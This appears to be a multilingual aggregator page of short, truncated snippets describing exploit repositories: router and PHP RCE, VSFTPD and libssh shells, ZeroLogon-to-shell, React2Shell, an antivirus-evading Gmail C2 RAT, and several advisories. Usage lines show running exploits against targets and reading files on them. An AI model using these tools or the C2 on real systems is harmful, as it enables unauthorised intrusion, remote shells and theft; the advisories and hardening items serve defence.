dlink_shell_poc

dlinkshellpoc Dlink-Shell-PoC Getestet auf D-Link 815 Version A 1.3 Funktioniert mit: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 Hinweis: Der PoC-Code verarbeitet keine Captchas. Beispiel root@kitploit: root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc....

CVE-2024-4577

lol CVE-2024-4577 1. comando exploit RCE valore root@kitploit: python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory trova...

webcgi-exploits

Exploit Web CGI Ecco alcuni exploit relativi a diverse CGI web. Ho scritto questi exploit negli ultimi anni. Come funziona Le applicazioni web sono fondamentalmente questi strati: 1. applicazioni 2. framework web 3. motori dei linguaggi di script 4. contenitori web server 5. proxy front-end web...

Exploit-CVE-2011-2523

README : Exploit für VSFTP 2.3.4 Dieses Python-Skript wurde entwickelt, um eine Hintertür-Schwachstelle in VSFTP Version 2.3.4 auszunutzen. Der Exploit gewährt unbefugten Zugriff auf das System, auf dem diese bestimmte Version von VSFTP läuft. Verwendung Um dieses Exploit-Skript zu verwenden,...

CVE-2020-8165

CVE-2020-8165.py CVE-2020-8165 익스플로잇을 위한 셸: https://github.com/masahiro331/CVE-2020-8165 사용법: CVE-2020-8165.py IP IP:PORT root@kitploit: CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2018-10933_ssh

CVE-2018-10933 para testar este código: obtenha a versão vulnerável do libssh na página inicial: https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz descompacte e compile; em seguida, vá para o diretório de exemplos; há um servidor sshd simples usando libssh chamado: samplesshd-cb execute este...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass Erhalte ohne Anmeldedaten eine Shell mithilfe von CVE-2018-10933 Informationen zu CVE-2018-10933 von libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Bugfix-Release von libSSH :...

ZeroLogon-to-Shell

Questa è una combinazione del codice zerologontester.py e dello strumento evil-winrm per ottenere una shell. Ho semplicemente aggiunto un "os.system" per usare evil-winrm. Requisiti: Per ottenere l'Administrator NTLM HASH ti consiglio di usare secretsdump strumento di impacket E, ovviamente, devi...

CVE-2015-7547-Research

Erste Arbeit am glibc-Exploit CVE-2015-7547. Momentan kehrt es einfach zu libc zurück und ruft system auf, um eine Shell bereitzustellen. Diese Version berücksichtigt ASLR noch nicht...

CVE-2022-1609

CVE-2022-1609 PoC Bash per CVE-2022-1609 WordPress Weblizar Backdoor Come installare ? root@kitploit: wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh Come usarlo ? root@kitploit: NullBrunk$ ./exploit.sh http://127.0.0.1:8080 +...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Utilizzo: root@kitploit: sudo python3 hehe.py -t -c Esempio: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | |...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 Repository per il test-task di tirocinio. Passo 0: Clona questo repository git root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 Passo 1: Crea i container Docker Avvia il daemon Docker root@kitploit: sudo systemctl start docker.service...

cve-2024-31317

CVE-2024-31317 की खोज CVE-2024-31317 एक अनप्रिविलेज्ड ऐप को किसी भी uid और SELinux स्कोप तक पहुंच प्रदान करता है जो उचित Android ऐप्स के लिए उपलब्ध है। यह uid 1000 system और uid 2000 shell तक पहुंच प्रदान करता है, और इसे पूरी तरह से एक अनप्रिविलेज्ड ऐप से ट्रिगर किया जा सकता है, जिससे इसका उपयोग...

hunt-for-cve-2018-10933

البحث عن واستغلال تجاوز المصادقة في libSSH CVE-2018-10933 دليل عملي يشرح كيفية إيجاد المضيفين المعرضين لتجاوز المصادقة في libSSH CVE-2018-10933 وكيفية استغلالهم للحصول على وصول شل. يرجى الرجوع إلى المقالة التالية للحصول على التعليمات: https://www.marcolancini.it/2018/blog-libssh-auth-bypass/...

React2shell-CVE-2025-55182-Exploit

Questo repository non contiene un README...

bitlocker-hardening

🔐 yellowkey-mitigation BitLocker-TPM+PIN-Härtung gegen CVE-2026-45585 YellowKey Automatisierte Gegenmaßnahme für den WinRE-BitLocker-Bypass — noch kein vollständiger Patch verfügbar 🔍 Die Schwachstelle YellowKey ist ein öffentlich offengelegter BitLocker-Bypass, der einem Angreifer mit physischem...

gmailc2

gmailc2 root@kitploit: A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections and Network Traffic Restrictions Note: root@kitploit: This RAT communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the...

CVE-2026-67966

Tenda W20E V16.01.0.62782 /goform/telnet endpoint allows unauthenticated remote attackers to activate the Telnet daemon and obtain root shell access...

CVE-2026-67614

CyberPanel before 3.0.0 contains a hard-coded JWT secret vulnerability in the WebTerminal FastAPI SSH service that allows unauthenticated remote attackers to forge valid authentication tokens and obtain an interactive root shell via WebSocket on port 8888. Attackers can craft a forged JWT signed...

Malicious code in date-fmt-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ae88f68f30ebd69a595537393ce95c4ce5e543b558572769fa2c608fa1b1b0d The package presents itself as a date-formatting utility, but its index.js is a trivial cover and a source comment explicitly labels the library as a...